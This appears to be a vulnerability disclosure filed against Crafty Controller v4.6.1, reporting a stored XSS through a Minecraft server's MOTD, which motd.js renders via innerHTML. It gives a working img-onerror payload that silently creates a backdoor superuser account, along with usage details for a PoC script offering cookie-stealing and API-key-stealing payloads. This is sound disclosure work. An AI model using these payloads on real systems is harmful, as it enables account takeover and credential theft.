Security: Stored XSS via Minecraft Server's MOTD
This one has been around a while, and could have a fairly wide-spread impact.
Quick Information
- Operating System: Any (Tested on Docker & Ubuntu)
- Install Type: Any (Test on Docker & Ubuntu)
- Crafty Version: v4.6.1
What Happened?
The MOTD of a running Minecraft server is retrieved via parsing the response to an mc_ping/bedrock_ping packet, and displayed alongside the server status (including on the public /status endpoint). It is unsafely added to the page by setting the .innerHTML attribute on a HTML element, meaning it functions as a stored XSS vector. The code responsible is in motd.js.
It is fairly trivial to use this XSS vector to make a POST request to the /api/v2/users/ endpoint to create a new user, which will succeed if the page is viewed by a user who both has permissions to create new users and has a valid browser session for the Crafty instance. This effectively enables the creation of a "backdoor" account that can have full superuser permissions. The PoC I provide here achieves this.
Impact of the issue
I see 2 potential exploitation scenarios:
- A malicious Minecraft server plugin author, or server member with "op" privileges, decides to set the MOTD of a server they control to a malicious payload, then waits for the infected server status to be viewed by a Crafty user with sufficient privileges.
- A user who has the ability to edit the
server.propertiesfile for one or more Crafty-controlled servers wishes to escalate their privileges to superuser, so edits the file to achieve this.
I think scenario 1 is potentially more severe, given the history around Minecraft server plugins - if a popular plugin is made malicious in this manner, it could impact multiple Crafty users. The plugin author only needs to wait and hope that the infected server's status is viewed through Crafty by a privileged user.
Expected result
Untrusted/external inputs should never directly be used in attributes like .innerHTML. At a minimum, .innerText should be preferred wherever possible. Given the additional & custom MOTD code/style parsing this could be slightly painful to implement. If there is no way to apply CSS styling separately from the parsed text content, consider using a sanitization library like DOMPurify to restrict the impact of XSS in these scenarios.
Steps to reproduce
Via the GUI/interactively:
- Create or access a Minecraft server you have sufficient permissions to edit the
server.propertiesfile on, and set themotd=line to the following payload via Crafty's file editing UI:
motd=rozza_XSS_<img src\='x' onerror\='fetch("/api/v2/users/",{method\:"POST",body\:JSON.stringify({"username"\:"rozza_xss_user","email"\:"","lang"\:"en_EN","theme"\:"default","manager"\:0,"enabled"\:true,"superuser"\:true,"hints"\:true,"roles"\:[],"permissions"\:[{"name"\:"SERVER_CREATION","quantity"\:-1,"enabled"\:false},{"name"\:"USER_CONFIG","quantity"\:-1,"enabled"\:false},{"name"\:"ROLES_CONFIG","quantity"\:-1,"enabled"\:false}],"password"\:"rozza_was_here"})})'/>- Save the
server.propertiesfile and restart the Minecraft server - As an authenticated user with
USER_CREATEor superuser permissions, access any page that displays the server's status (/panel/server_detail?id=$SERVER_ID, or/status). You should see the MOTD displayed asrozza_XSS_, and in the background your browser has just created a new superuser calledrozza_xss_user - View the Crafty panel's users, or login as
rozza_xss_user(password:rozza_was_here) to verify exploitation
Via a python script:
This PoC requires the following:
- python3 and the
httpxandurllib3libraries (python3 -m pip install urllib3 httpx) - A Crafty API key that has "FILE" permissions/the ability to edit a target server's
server.propertiesfile - this is slightly convoluted as currently the v2 API doesn't support the file endpoints, and access to individual servers is validated via group roles. For my PoC demo video I created a role that had FILE access on the target server, and added the user that owned the API key as a member of that role. A superuser/ALL_ACCESS API key would also work. - The server id of that target server
It has a few different payloads for testing/demonstration. It doesn't do the server restart/reload as that would not be needed in attack scenario 1.
You can view/review the PoC here: motd_xss_poc.py
Usage details:
`motd_xss_poc.py` Usage
usage: motd_xss_poc.py [-h] [--url URL] [--api-key API_KEY] [--server-id SERVER_ID] [--payload {detect,cookie_steal,create_superuser,steal_api_keys,server_command}] [--custom CUSTOM] [--identifier IDENTIFIER]
[--list-payloads] [--restore] [--restore-motd RESTORE_MOTD]
Stored XSS via MOTD - PoC for Crafty Controller 4
options:
-h, --help show this help message and exit
--url URL Crafty Controller base URL (e.g., https://localhost:8443)
--api-key API_KEY API key with file edit permissions
--server-id SERVER_ID
Target server UUID
--payload, -p {detect,cookie_steal,create_superuser,steal_api_keys,server_command}
Payload type to use (default: detect)
--custom, -c CUSTOM Custom XSS payload to inject
--identifier, -i IDENTIFIER
Identifier prefix for the MOTD (default: rozza_XSS_)
--list-payloads List available XSS payloads
--restore Restore clean MOTD (cleanup after testing)
--restore-motd RESTORE_MOTD
MOTD value to restore (default: "A Minecraft Server")
Examples:
# List available payloads
python motd_xss_poc.py --list-payloads
# Run with detection payload (simple alert)
python motd_xss_poc.py --url https://localhost:8443 --api-key <KEY> --server-id <UUID>
# Run with superuser creation payload
python motd_xss_poc.py --url https://localhost:8443 --api-key <KEY> --server-id <UUID> --payload create_superuser
# Run with custom payload
python motd_xss_poc.py --url https://localhost:8443 --api-key <KEY> --server-id <UUID> --custom "<script>alert('xss')</script>"
# Restore clean MOTD after testing
python motd_xss_poc.py --url https://localhost:8443 --api-key <KEY> --server-id <UUID> --restore
Demo Video
For reference, as the MOTD is live-updated via Websockets, if it was set or updated on the Minecraft side (via commands or a server plugin), then simply having a page that displays Crafty server statuses is enough to trigger the XSS to executed. Even if it's open in another tab etc. I make it as clear as possible in my PoC video by navigating to the status pages explicitly.
Priority/Severity
- High (anything that impacts the normal user flow or blocks app usage)
- Medium (anything that negatively affects the user experience)
- Low (anything else e.g., typos, missing icons/translations, layout/formatting issues, etc.)
Given this XSS is exploitable purely from the context of a Minecraft server, requiring no explicit Crafty permissions, just control of the server MOTD, I suspect it is more severe than an XSS that is only exploitable from within Crafty itself.